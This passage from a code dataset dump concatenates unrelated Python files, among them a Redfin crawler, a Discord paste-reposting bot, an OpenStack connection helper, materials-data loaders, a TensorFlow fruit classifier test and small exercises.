img_shape[1]\n num_channel = img_shape[2]\n\n train_image_ids.append(image_id)\n train_image_paths.append(train_image_path)\n train_image_mask_paths.append(mask_paths)\n train_image_height.append(img_height)\n train_image_width.append(img_width)\n train_channel.append(num_channel)\n\ntrain_df[\"image_id\"] = train_image_ids\ntrain_df[\"image_path\"] = train_image_paths\ntrain_df[\"image_height\"] = train_image_height\ntrain_df[\"image_width\"] = train_image_width\ntrain_df[\"number_of_channels\"] = train_channel\ntrain_df[\"mask_path\"] = train_image_mask_paths\ntrain_df.to_csv(\"train_df.csv\")\n\ntest_df = pd.DataFrame()\ntest_image_ids = []\ntest_image_paths = []\ntest_image_height = []\ntest_image_width = []\ntest_channel = []\n\nfor base_path in glob.glob(\"./test1/*\"):\n image_id = os.path.basename(base_path)\n test_image_path = glob.glob(os.path.join(base_path, \"kaggle_images\", \"*.png\"))[0]\n img_shape = (cv2.imread(train_image_path)).shape\n img_height = img_shape[0]\n img_width = img_shape[1]\n num_channel = img_shape[2]\n\n test_image_ids.append(image_id)\n test_image_paths.append(test_image_path)\n test_image_height.append(img_height)\n test_image_width.append(img_width)\n test_channel.append(num_channel)\n\ntest_df[\"image_id\"] = test_image_ids\ntest_df[\"image_path\"] = test_image_paths\ntest_df[\"image_height\"] = test_image_height\ntest_df[\"image_width\"] = test_image_width\ntest_df[\"image_channel\"] = test_channel\n\ntest_df.to_csv(\"test_df.csv\")","sub_path":"Utilis/create_dataframe.py","file_name":"create_dataframe.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"92569503","text":"from tkinter import *\nfrom functools import partial # To prevent unwanted windows\nimport random\n\n\nclass Start:\n def __init__(self, partner):\n\n # GUI to get starting balance and stakes\n self.start_frame = Frame(padx=10, pady=10)\n self.start_frame.grid()\n\n # Mystery Heading (row 0)\n self.mystery_box_label = Label(self.start_frame, text=\"Mystery Box Game\",\n font=\"Arial 19 bold\")\n self.mystery_box_label.grid(row=0)\n\n # Initial Instruction (row 1)\n self.mystery_instructions = Label(self.start_frame, font=\"Arial 10 italic\",\n text=\"Please enter a dollar amount \"\n \"(between $5 and $50) in the box \"\n \"below. Then choose the \"\n \"stakes. The higher the stakes, \"\n \"the more you can win!\",\n wrap=275, justify=LEFT, padx=10, pady=10)\n self.mystery_instructions.grid(row=1)\n\n # Entry box... (row 2)\n self.start_amount_entry = Entry(self.start_frame, font=\"Arial 19 bold\")\n self.start_amount_entry.grid(row=2)\n\n # Play Button (row 2)\n self.lowstakes_button = Button(text=\"Low ($5)\",\n command=lambda: self.to_game(1))\n self.lowstakes_button.grid(row=2, pady=10)\n\n def to_game(self, stakes):\n starting_balance = self.start_amount_entry.get()\n Game(self, stakes, starting_balance)\n\n\nclass Game:\n def __init__(self, partner, stakes, starting_balance):\n print(stakes)\n print(starting_balance)","sub_path":"02_start_GUI_v1.py","file_name":"02_start_GUI_v1.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"347542162","text":"import cv2\n\nfrom pyrecorder.recorder import Recorder\n\n\nclass Streamer(Recorder):\n\n def __init__(self,\n mode=\"live\",\n delay=None,\n close_window=True) -> None:\n super().__init__()\n self.close_window = close_window\n self.frame = None\n\n if mode == \"live\":\n self.delay = 1\n elif mode == \"key\":\n self.delay = 0\n elif mode == \"stream\":\n self.delay = delay\n else:\n self.delay = None\n\n def do(self, frame):\n cv2.imshow('image', frame)\n if self.delay is not None:\n cv2.waitKey(self.delay)\n\n self.frame = frame\n\n def close(self):\n if self.close_window:\n cv2.destroyAllWindows()\n else:\n delay = self.delay\n self.delay = 0\n self.do(self.frame)\n self.delay = delay\n\n\n","sub_path":"pyrecorder/recorders/streamer.py","file_name":"streamer.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"51504500","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 2 15:33:10 2016\r\n\r\n@author: jinzhenwang\r\n\"\"\"\r\n\r\n# Define Crawler\r\n\r\n\r\n\r\ndef Crawler(url,ip):\r\n \r\n import requests\r\n headers={\r\n \"GET\":url,\r\n \"Host\":'www.redfin.com/',\r\n \"Referer\":\"https://www.redfin.com/\",\r\n \"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\"\r\n }\r\n r = requests.get(url,headers=headers,proxies={'https':'https://'+ip})\r\n return(r.content)\r\n\r\ncontent=Crawler('https://www.redfin.com/zipcode/85192','14.139.213.183:3128')\r\n\r\nfrom bs4 import BeautifulSoup\r\n\r\n\r\nsoup=BeautifulSoup(content,'lxml')\r\nprint(soup.prettify())","sub_path":"DataAcquisition/Code/Crawler.py","file_name":"Crawler.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"509070866","text":"#\n# A script to merge list of already know airfields with\n# Wikipedia-extracted location information file.\n#\n\nimport os\nimport json\n\nAIRFIELDS_FN = '../../data/airfields.json'\nAIRFIELDS_FN_new = '../../data/airfields.json.new'\n\nAIRFIELDS_FN_WIKI = '../../data/airfields-wikipedia.json'\n\nnew = 0\nold = 0\n\nif __name__ == '__main__':\n\n airfields = dict()\n\n with open(AIRFIELDS_FN, 'r') as f:\n l = json.load(f)\n for item in l:\n code = item.get('code', None)\n lat = float(item.get('lat', 0))\n lon = float(item.get('lon', 0))\n airfields[code] = {'lat': lat, 'lon': lon}\n\n with open(AIRFIELDS_FN_WIKI, 'r') as f:\n l = json.load(f)\n for item in l:\n code = item.get('code', None)\n lat = float(item.get('lat', 0))\n lon = float(item.get('lon', 0))\n\n lat = float(f'{lat:.4f}')\n lon = float(f'{lon:.4f}')\n\n if code not in airfields:\n airfields[code] = {'lat': lat, 'lon': lon}\n\n print('Total num of airfield locations:', len(airfields))\n\n with open(AIRFIELDS_FN_new, 'w') as f:\n l = list()\n for key in airfields.keys():\n af = airfields[key]\n lat = af['lat']\n lon = af['lon']\n\n d = dict()\n d['code'] = key\n d['lat'] = lat\n d['lon'] = lon\n\n l.append(d)\n\n # sort the list by latitude:\n l.sort(key=lambda x: x['lat'])\n\n j = json.dumps(l)\n f.write(j)\n\n print('KOHEU.')\n","sub_path":"src/experimental/airfieldsMergerWIKI.py","file_name":"airfieldsMergerWIKI.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"280521445","text":"\"\"\"ROSARIO VALERO MIRANDA - 1º DAW - PRACTICA6 - EJERCICIO 1\r\nEscribe un programa que permita crear una lista de palabras.\r\nPara ello, el programa\r\ntiene que pedir un número y luego solicitar ese número de palabras para\r\ncrear la lista.Por último, el programa tiene que escribir la lista. \r\"\"\"\r\n\r\nprint(\"Dime cuantas palabras tiene la lista: \")\r\nnum= int(input())\r\n\r\nif num <1:\r\n print(\"No posible!\")\r\nelse:\r\n list=[]\r\n for i in range(num):\r\n print(\"Dime la palabra: \")\r\n palabra=(input())\r\n i=i+1\r\n list +=[palabra]\r\n print(\"La lista creada es:\", list)\r\n","sub_path":"Ejercicios-Pr6/ejercicio1.py","file_name":"ejercicio1.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"155568301","text":"import os\r\nimport discord\r\nimport requests\r\nimport json\r\nimport logging\r\nimport sys\r\nfrom discord.ext import commands, tasks\r\nfrom discord.ext.commands import has_permissions, MissingPermissions\r\nfrom dotenv import load_dotenv\r\nimport aiohttp\r\nfrom unidecode import unidecode\r\nfrom difflib import get_close_matches\r\n\r\n# Toggle wiki command & functionality on or off\r\nuse_wiki_commands = false # toggle\r\nuse_wikis = [\"example\", \"iris\", \"vehiclesplus\", \"react\"] # specific toggle (included => on)\r\nif use_wiki_commands:\r\n try:\r\n import wiki as wikilib\r\n wikilib.toggle_keys(use_wikis)\r\n except ImportError:\r\n print(\"Unable to import wiki functions. Is the file in your directory?\")\r\n\r\n# Import subprocess\r\nbot = commands.Bot(command_prefix=\".\", intents=discord.Intents.default(),\r\n case_insensitive=True)\r\n\r\nload_dotenv()\r\n#token = os.getenv('token')\r\ntoken = \"token\"\r\n\r\nlogging.basicConfig(filename='console.log',\r\n level=logging.INFO,\r\n format='[%(asctime)s %(levelname)s] %(message)s',\r\n datefmt='%Y-%m-%d %H:%M:%S',\r\n )\r\nlogging.getLogger().addHandler(logging.StreamHandler(sys.stdout))\r\n\r\n@bot.event\r\nasync def on_ready():\r\n # Marks bot as running\r\n await bot.change_presence(activity=discord.Game('Reading your timing reports'))\r\n logging.info('Bota bağlanıldı: {}'.format(bot.user.name))\r\n logging.info('Bot ID: {}'.format(bot.user.id))\r\n logging.info('Bot tamamen yüklendi')\r\n logging.info('Bu botun asıl kodunu yazan: https://github.com/Pemigrade/botflop')\r\n\r\n@bot.event\r\nasync def on_message(message):\r\n # Binflop\r\n if len(message.attachments) > 0 and not message.attachments[0].url.endswith(\r\n ('.png', '.jpg', '.jpeg', '.mp4', '.mov', '.avi', '.gif', '.image', '.svg')):\r\n download = message.attachments[0].url\r\n async with aiohttp.ClientSession() as session:\r\n async with session.get(download, allow_redirects=True) as r:\r\n\r\n #. r = requests.get(download, allow_redirects=True)\r\n text = await r.text()\r\n text = unidecode(text)\r\n text = \"\\n\".join(text.splitlines())\r\n if '�' not in text: # If it's not an image/gif\r\n truncated = False\r\n if len(text) > 100000:\r\n text = text[:99999]\r\n truncated = True\r\n req = requests.post('https://bin.bloom.host/documents', data=text)\r\n key = json.loads(req.content)['key']\r\n response = \"https://bin.bloom.host/\" + key\r\n response += \"\\nTalep eden kişi\" + message.author.mention\r\n if truncated:\r\n response += \"\\n(dosya çok uzun olduğundan kesildi.)\"\r\n embed_var = discord.Embed(title=\"Lütfen bir paste hizmeti kullanın\", color=0x1D83D4)\r\n embed_var.description = response\r\n await message.channel.send(embed=embed_var)\r\n timings = bot.get_cog('Timings')\r\n await timings.analyze_timings(message)\r\n await bot.process_commands(message)\r\n\r\n@bot.command()\r\nasync def ping(ctx):\r\n await ctx.send(f'Treas Timings Anlık Ping: {round(bot.latency * 1000)}ms')\r\n\r\n@bot.command()\r\nasync def wiki(ctx, *args):\r\n if use_wiki_commands:\r\n await wikilib.wiki(ctx, *args)\r\n\r\n@bot.command()\r\nasync def invite(ctx):\r\n await ctx.send('Kendi sunucuna davet edebilmen için:\\nhttps://discord.com/oauth2/authorize?client_id=835117450500505630&permissions=68608&scope=bot')\r\n\r\n\"\"\"\r\nUsed to get Iris wiki page index.\r\nModify dictionaries \"wikis\" and \"wikialts\" to properly map.\r\nNote the example wiki.\r\n\"\"\"\r\n@bot.command()\r\nasync def wiki(ctx, *args):\r\n # Prevent passing no plugin or argument\r\n if len(args) <= 1 or args[0] == 'help':\r\n await ctx.send('Please specify the plugin & page you want to link e.g. `.wiki main.' + \r\n '\\nYou can also use `.wiki index ` to get the full index.')\r\n return\r\n\r\n # Send indexing if available\r\n if args[0] == 'index':\r\n close_match = get_close_matches(args[1], wikialts.keys(), 1, 0.4)[0] # Gets most likely wiki in dictionary\r\n if len(close_match) == 0:\r\n ctx.send('No match found for plugin entry. Please doublecheck.')\r\n return\r\n wiki = wikis[wikialts[close_match[0]]] # Finds actual wiki name as in function\r\n indexing = \"**{} index:**\\n\\n\".format(wiki.capitalize())\r\n for key in eval('wiki_{}_pages'):\r\n indexing += \" - {}\\n\".format(key)\r\n indexing += \"\\nMain path: {}\".format(eval(\"wiki_{}_path\".format(wiki)))\r\n ctx.send(indexing)\r\n\r\n # Get wiki type and run respective function\r\n close_match = get_close_matches(args[0], wikialts.keys(), 1, 0.4)[0] # Gets most likely wiki in dictionary\r\n if len(close_match) == 0:\r\n ctx.send('No match found for plugin entry. Please doublecheck.')\r\n return\r\n wiki = wikis[wikialts[close_match[0]]] # Finds actual wiki name as in function\r\n result = eval('wiki_' + wiki + '({args[1]})') # Evaluates function\r\n wiki = wiki.capitalize() # Make first letter caps\r\n ctx.send('Match: {} | Wiki page for {} is: \\n{}.'.format(wiki, result['match'], result['url']))\r\n\r\n\"\"\"\r\n Returns closest matched page to the specified command\r\n To create a new entry, copy-paste the function and replace:\r\n 'example' with the name of your plugin everywhere, and\r\n create new definitions at the top for the path and pages.\r\n You find more examples there.\r\n\"\"\"\r\nasync def wiki_example(page):\r\n # Add path to url and find closest match to entry\r\n url = wiki_example_path\r\n match = get_close_matches(page, wiki_example_pages.keys(), 1, 0.4)\r\n\r\n # Make sure a match was found\r\n if len(match) == 0:\r\n return 'no URL found, please doublecheck the page entry'\r\n else:\r\n return {'url': url, 'match': match}\r\n\r\nasync def wiki_iris(page):\r\n # Add path to url and find closest match to entry\r\n url = wiki_iris_path\r\n match = get_close_matches(page, wiki_iris_pages.keys(), 1, 0.4)\r\n\r\n # Make sure a match was found\r\n if len(match) == 0:\r\n return 'no URL found, please doublecheck the page entry'\r\n else:\r\n return {url: url, match: match}\r\n\r\nasync def wiki_vehiclesplus(page):\r\n # Add path to url and find closest match to entry\r\n url = wiki_vehiclesplus_path\r\n match = get_close_matches(page, wiki_vehiclesplus_pages.keys(), 1, 0.4)\r\n\r\n # Make sure a match was found\r\n if len(match) == 0:\r\n return 'no URL found, please doublecheck the page entry'\r\n else:\r\n return {'url': url, 'match': match}\r\n \r\nasync def wiki_react(page):\r\n # Add path to url and find closest match to entry\r\n url = wiki_react_path\r\n match = get_close_matches(page, wiki_react_pages.keys(), 1, 0.4)\r\n\r\n # Make sure a match was found\r\n if len(match) == 0:\r\n return 'no URL found, please doublecheck the page entry'\r\n else:\r\n return {'url': url, 'match': match}\r\n\r\n@bot.command(name=\"react\", pass_context=True)\r\n@has_permissions(administrator=True)\r\nasync def react(ctx, url, reaction):\r\n channel = await bot.fetch_channel(int(url.split(\"/\")[5]))\r\n message = await channel.fetch_message(int(url.split(\"/\")[6]))\r\n await message.add_reaction(reaction)\r\n logging.info('reacted to ' + url + ' with ' + reaction)\r\n\r\nfor file_name in os.listdir('./cogs'):\r\n if file_name.endswith('.py'):\r\n bot.load_extension(f'cogs.{file_name[:-3]}')\r\n\r\nbot.run(token)\r\n\r\n# full name: message.author.name + \"#\" + str(message.author.discriminator) + \" (\" + str(message.author.id) + \")\"\r\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":7780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"95864918","text":"def hamming_distance(str1, str2):\n\n if len(str1) != len(str2):\n return None\n else:\n distance = 0\n for i,j in zip(str1, str2):\n if i != j:\n distance = distance + 1\n\n return distance\n","sub_path":"Rosalind/BA1G.py","file_name":"BA1G.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"430546867","text":"#!/usr/bin/env python\n\nfrom bs4 import BeautifulSoup\nfrom req import get_html\n\n\nhtml = get_html('https://yandex.ru/search/?text=python')\n\nif html:\n bs = BeautifulSoup(html, 'html.parser')\n data = []\n\n for item in bs.find_all('li', class_='serp-item'):\n block_title = item.find('a', class_='organic__url')\n href = item.find_all('a', class_='path__item')[1]\n if not href.get('href').startswith('http://yabs.yandex.ru'):\n data.append({\n 'title': block_title.text,\n 'link': href.get('href'),\n })\n\n print(data)\nelse:\n print('Что-то пошло не так!')\n","sub_path":"parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"278572530","text":"#Hackerrank: Gem Stones (Resubmission) v3.\n#removed the isin function, replaced with the in command.\ncs=None\nss=\"\"\nN=int(raw_input())\nM=N\nwhile(M>0):\n\tif(M!=0):\n\t\tb=raw_input()\n\tif (M==N):\n\t\tcs=b\n\td=len(cs)\n\ta=0\n\twhile (a; February 12th, 2019\r\n\r\nCopyright (c) 2019 Cisco Systems.\r\nAll rights reserved.\r\n-----------------------------------------------------------------------\r\n\"\"\"\r\n\r\nimport openstack\r\nimport re\r\nimport os\r\nfrom os import environ as env\r\n\r\n\r\ndef p3_teamid_validation(team_id):\r\n \"\"\"\r\n This method is to validate that team id of the P3 platform while sending the report to Kinesis.\r\n :param team_id: TeamID\r\n \"\"\"\r\n teamid_pattern = re.compile(r'^P3:[0-9a-f]{32}$')\r\n if teamid_pattern.match(team_id):\r\n print(\"LOG: Received valid TeamID\")\r\n return True\r\n else:\r\n print(\"ERROR: Received TeamID is not valid\")\r\n return False\r\n\r\n\r\ndef p3_url_validation(url):\r\n \"\"\"\r\n This method is to validate the authorized url of the P3 platform.\r\n :url: OpenStack's Horizon URL\r\n \"\"\"\r\n p3_url_pattern = re.compile(r'^https://cloud-.*-1.cisco.com:5000/v3$')\r\n if p3_url_pattern.match(url):\r\n print(\"LOG: Received valid Domain URL\")\r\n return True\r\n else:\r\n print(\"ERROR: Received Domain URL is not valid\")\r\n return False\r\n\r\n\r\ndef connect(os_auth_url, project_name, region):\r\n \"\"\"\r\n \r\n :param os_auth_url:\r\n :param project_name:\r\n :param region:\r\n :return:\r\n \"\"\"\r\n try:\r\n print(\"LOG: Creating Connection handle to OpenStack Project - %s\" % project_name)\r\n conn = openstack.connect(\r\n auth_url=os_auth_url,\r\n project_name=project_name,\r\n username=env['OS_USERNAME'],\r\n password=env['OS_PASSWORD'],\r\n region_name=region\r\n )\r\n return conn\r\n except Exception as e:\r\n print(\"ERROR: Connection failed with error => %s\" % str(e))\r\n return None\r\n\r\n","sub_path":"library/p3_lib.py","file_name":"p3_lib.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"380698327","text":"\"\"\"\nLoading utilities for computational experiments.\n\"\"\"\nimport os\nimport pandas as pd\n\n\nDATA_DIR = os.path.dirname(os.path.abspath(__file__))\n\n\ndef load_zT(all_data=False):\n \"\"\"\n Thermoelectric figures of merit for 165 experimentally measured compounds.\n\n Obtained from the Citrination database maintained by Citrine, Inc.\n Citrine obtained from Review https://doi.org/10.1021/cm400893e which took\n measurements at 300K from many original publications.\n\n All samples are\n - Measured at 300K (within 0.01 K)\n - polycrystalline\n\n\n If all_data is loaded, the columns are:\n - composition: composition as a string\n - zT: thermoelectric figure of merit\n - PF (W/m.K2): power factor\n - k (W/m.K): overall thermal conductivity\n - S (uV/K): Seebeck coefficient\n - log rho: Log resistivity, presumably in ohm-meters.\n\n Args:\n all_data (bool): Whether all data will be returned in the df. If False,\n only the compositions as strings and the zT measurements will be\n loaded.\n\n Returns:\n (pd.DataFrame): The dataframe containing the zT data.\n\n \"\"\"\n path = os.path.join(DATA_DIR, \"zT-citrination-165.csv\")\n df = pd.read_csv(path, index_col=None)\n if not all_data:\n df = df[[\"composition\", \"zT\"]]\n return df\n\n\ndef load_e_form():\n \"\"\"\n 85,014 DFT-GGA computed formation energies.\n\n Ground state formation energies from the Materials Project, adapted\n from https://github.com/CJBartel/TestStabilityML/blob/master/mlstabilitytest/mp_data/data.py\n originally gathered from the Materials Project via MAPI on Nov 6, 2019.\n\n There is exactly one formation energy per composition. The formation energy\n was chosen as the ground state energy among all sructures with the desired\n composition.\n\n Returns:\n (pd.DataFrame): The formation energies and compositions\n \"\"\"\n path = os.path.join(DATA_DIR, \"eform-materialsproject-85014.csv\")\n df = pd.read_csv(path, index_col=\"mpid\")\n return df\n\n\ndef load_expt_gaps():\n \"\"\"\n 4,604 experimental band gaps, one per composition.\n\n Matbench v0.1 test dataset for predicting experimental band gap from\n composition alone. Retrieved from Zhuo et al\n (https:doi.org/10.1021/acs.jpclett.8b00124) supplementary information.\n Deduplicated according to composition, removing compositions with reported\n band gaps spanning more than a 0.1eV range; remaining compositions were\n assigned values based on the closest experimental value to the mean\n experimental value for that composition among all reports.\n\n Returns:\n (pd.DataFrame): Experimental band gaps and compositions as strings\n\n \"\"\"\n path = os.path.join(DATA_DIR, \"bandgap-zhuo-4604.csv\")\n df = pd.read_csv(path, index_col=False)\n return df\n\n\ndef load_steels():\n \"\"\"\n 312 yeild strengths of various steels.\n\n Matbench v0.1 dataset for predicting steel yield strengths from chemical\n composition alone. Retrieved from Citrine informatics. Deduplicated.\n\n Experimentally measured steel yield strengths, in GPa.\n https://citrination.com/datasets/153092/\n\n Returns:\n (pd.DataFrame): Dataframe of yield strengths per composition.\n \"\"\"\n path = os.path.join(DATA_DIR, \"yieldstrength-citrination-312.csv\")\n df = pd.read_csv(path, index_col=False)\n return df\n\n\nif __name__ == \"__main__\":\n df = load_steels()\n print(df)","sub_path":"latmats/tasks/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":3422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"34765360","text":" \nfrom __future__ import print_function\n\nimport os\nimport time\nimport sys\n\n# Following the advice here:\n# https://www.quora.com/How-can-I-delete-the-\n# last-printed-line-in-Python-language\nERASE_LINE = '\\x1b[2K'\n\ndef clean():\n sys.stdout.write(ERASE_LINE)\n sys.stdout.write(\"\\r\")\n sys.stdout.flush()\n\ndef cleanwrite(m):\n clean()\n sys.stdout.write(m)\n sys.stdout.flush()\n\ndef progress(p, message):\n \"\"\"\n p is a float between zero and one.\n \"\"\"\n r, c = os.popen('stty size', 'r').read().split()\n c = int(c)\n pad = 4\n totalwidth = c-pad\n fstring = \"\\r{{:<{}s}}\".format(totalwidth)\n fstring += \" \"*pad\n \n messagewidth = len(message) + 1\n barwidth = totalwidth - messagewidth - 2\n progresswidth = int(float(p)*barwidth)\n zeroswidth = barwidth - progresswidth\n bar = \"\".join([\n \"[\",\n \"#\"*progresswidth,\n \" \"*zeroswidth,\n \"]\",\n ]) \n m = fstring.format(message + \" \" + bar)\n cleanwrite(m)\n \ndef make_tests():\n i = 0\n N = 300\n while True:\n p = 1.0*(i%N) / (N-1)\n time.sleep(0.01)\n message = str(i)\n progress(p, message)\n i += 1\n\nif __name__ == \"__main__\":\n make_tests()\n","sub_path":"code/progress.py","file_name":"progress.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"492419141","text":"import os\nimport json\nfrom flask import current_app\nfrom .models import *\n\nprint(\"Loading projects...\")\nprojects = json.load(open('networkSearch/results/projects.json', errors='replace'))\n\nprint(\"Loading graph...\")\nactmap = json.load(open('networkSearch/results/graph.json', encoding='UTF-8', errors='replace'))\n\nactivities = {}\nfor pid in projects:\n p = projects[pid]\n a = Activity()\n\n a.id = pid\n\n if p.get('title', None):\n a.name = p['title'][0]['text']\n if p.get('description', None):\n description = p['description'][0]['text']\n\n a.date = \"\"\n if p.get('activity-date', None):\n for d in p['activity-date']:\n if d['@'].get('iso-date', None):\n a.date = \"%s%s: %s\\n\" % (a.date, d['@']['type'], d['@']['iso-date'])\n\n a.recipient_country = \"\"\n if p.get('recipient-country', None):\n for c in p['recipient-country']:\n a.recipient_country = \"%s%s\\n\" % (a.recipient_country, c['@']['code'])\n \n a.sector = \"\"\n if p.get('sector', None):\n for s in p['sector']:\n if s.get('@', None) and s['@'].get('code', None):\n a.sector = \"%s%s - %s \\n\" % (a.sector, s['@']['code'], s.get('text', \"\"))\n else:\n a.sector = \"%s%s \\n\" % (a.sector, s.get('text', \"\"))\n \n activities[pid] = a\n\nfor m in actmap:\n activity = activities.get(m, None)\n\n if not activity:\n continue\n \n edges = actmap[m]['edges']\n\n for e in edges:\n if e['foreignProjectId'] == 'GB-COH-06368740-DIPRA 3':\n e['foreignProjectId'] = 'GB-COH-06368740-DIPRA-3'\n \n if e['foreignProjectId'] == m:\n pass\n \n elif e['type'] == 'receiver':\n a2 = {'id': e['foreignProjectId']}\n a3 = {'id': activity.id}\n a3['name'] = activity.name\n a3['exists'] = 1\n if activities.get(e['foreignProjectId'], None):\n a2['exists'] = 1\n a2['name'] = activities[e['foreignProjectId']].name\n activities[e['foreignProjectId']].provider[activity.id] = a3\n else:\n a2['exists'] = 0\n\n activity.recipient[e['foreignProjectId']] = a2 \n \n \n elif e['type'] == 'provider':\n a2 = {'id': e['foreignProjectId']}\n a3 = {'id': activity.id}\n a3['name'] = activity.name\n a3['exists'] = 1\n if activities.get(e['foreignProjectId'], None):\n a2['exists'] = 1\n a2['name'] = activities[e['foreignProjectId']].name\n activities[e['foreignProjectId']].recipient[activity.id] = a3\n else:\n a2['exists'] = 0\n \n activity.provider[e['foreignProjectId']] = a2\n\n\n","sub_path":"app/loaddata.py","file_name":"loaddata.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"561834837","text":"import numpy\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport re\n\nfrom network_structure import fruit_network as network\nfrom network_structure import utils\nfrom utils import constants\n\nuseTrain = False\n\ncheckpoint_dir = os.getcwd() + '\\\\..\\\\fruit_models\\\\'\nkeep_prob = tf.placeholder(tf.float32)\n\nif useTrain:\n images_left_to_process = constants.number_train_images\n total_number_of_images = constants.number_train_images\n file_name = 'train'\nelse:\n images_left_to_process = constants.number_test_images\n total_number_of_images = constants.number_test_images\n file_name = 'test'\n\n# create a map to add for each label the number of images that were labeled incorrectly\nmislabeled = {}\n\n# associate the label number with the actual human readable label name\nwith open(constants.root_dir + '\\\\utils\\\\labels') as f:\n labels_text = f.readlines()\nlabels_text = [x.strip() for x in labels_text]\nfor label in labels_text:\n mislabeled[label] = 0\n\n# class 0 is background class so it's labeled as nothing\nlabels_text = [\"nothing\"] + labels_text\n\n\ndef inputs(filename, batch_size):\n image, label = utils.read_file(filename)\n image = utils.adjust_image_for_test(image)\n images, labels = tf.train.batch([image, label],\n batch_size=batch_size,\n capacity=total_number_of_images,\n allow_smaller_final_batch=True)\n return images, labels\n\n\ndef test_model():\n global images_left_to_process\n correct = 0\n while images_left_to_process > 0:\n batch_x, batch_y = sess.run([images, labels])\n batch_x = np.reshape(batch_x, [network.batch_size, network.input_size])\n # the results of the classification is an array of 1 and 0, 1 is a correct classification\n results = sess.run(correct_pred, feed_dict={network.X: batch_x, network.Y: batch_y, keep_prob: 1})\n if images_left_to_process < network.batch_size:\n length = images_left_to_process\n else:\n length = network.batch_size\n images_left_to_process = images_left_to_process - length\n for i in range(length):\n if not results[i]:\n mislabeled[labels_text[batch_y[i]]] += 1\n\n correct = correct + numpy.sum(results[0:length])\n print(\"Predicted %d out of %d; partial accuracy %.4f\" % (correct, total_number_of_images - images_left_to_process, correct / (total_number_of_images - images_left_to_process)))\n print(\"Final accuracy on %s data: %.8f\" % (file_name, correct / total_number_of_images))\n\n\nlogits = network.conv_net(network.X, network.weights, network.biases, keep_prob)\nprediction = tf.nn.softmax(logits)\n\nloss_op = tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits,\n labels=network.Y))\noptimizer = tf.train.AdamOptimizer(learning_rate=network.learning_rate)\ntrain_op = optimizer.minimize(loss=loss_op)\n\ncorrect_pred = tf.equal(tf.argmax(prediction, 1), network.Y)\naccuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\ninit = tf.global_variables_initializer()\n\nsaver = tf.train.Saver()\n\nwith tf.Session() as sess:\n sess.run(init)\n tfrecords_files = [(constants.data_dir + f) for f in os.listdir(constants.data_dir) if re.match(file_name, f)]\n images, labels = inputs(tfrecords_files, network.batch_size)\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n\n ckpt = tf.train.get_checkpoint_state(checkpoint_dir)\n saver.restore(sess, ckpt.model_checkpoint_path)\n\n test_model()\n print(mislabeled)\n\n coord.request_stop()\n coord.join(threads)\n sess.close()\n","sub_path":"src/image_classification/fruit_detection/fruit_test_net.py","file_name":"fruit_test_net.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"164531854","text":"import os\nfrom typing import List\n\nimport asyncpg\nimport psycopg2.extensions\n\n\ndef apply_migrations(db: psycopg2.extensions.connection, paths: List[str]):\n files = _find_sql_files(paths)\n\n for file in files:\n with open(file, \"r\") as fd:\n blob = fd.read()\n cur = db.cursor()\n cur.execute(blob)\n cur.close()\n db.commit()\n\n\nasync def apply_migrations_async(db: asyncpg.Connection, paths: List[str]):\n files = _find_sql_files(paths)\n\n for file in files:\n with open(file, \"r\") as fd:\n blob = fd.read()\n await db.execute(blob)\n\n\ndef _find_sql_files(paths: List[str]) -> List[str]:\n files = []\n for path in paths:\n if not os.path.exists(path):\n raise FileNotFoundError(f\"{path} does not exist\")\n if os.path.isdir(path):\n for file in os.listdir(path):\n if file.endswith(\".sql\"):\n files.append(os.path.join(path, file))\n else:\n files.append(path)\n files.sort()\n return files\n","sub_path":"examples/python/src/dbtest/migrations.py","file_name":"migrations.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"498132568","text":"from threading import Thread\nfrom socket import *\nfrom tkinter import *\nimport Encrypt\n\n#pulls from the encrypt file to encrypt the message before it is sent\ndef encrypt(message):\n key = 'as'\n mappedKey = \"\"\n\n j = 0\n\n for i in message:\n if i == chr(32):\n mappedKey += chr(32)\n else:\n if j < len(key):\n mappedKey += key[j]\n j += 1\n 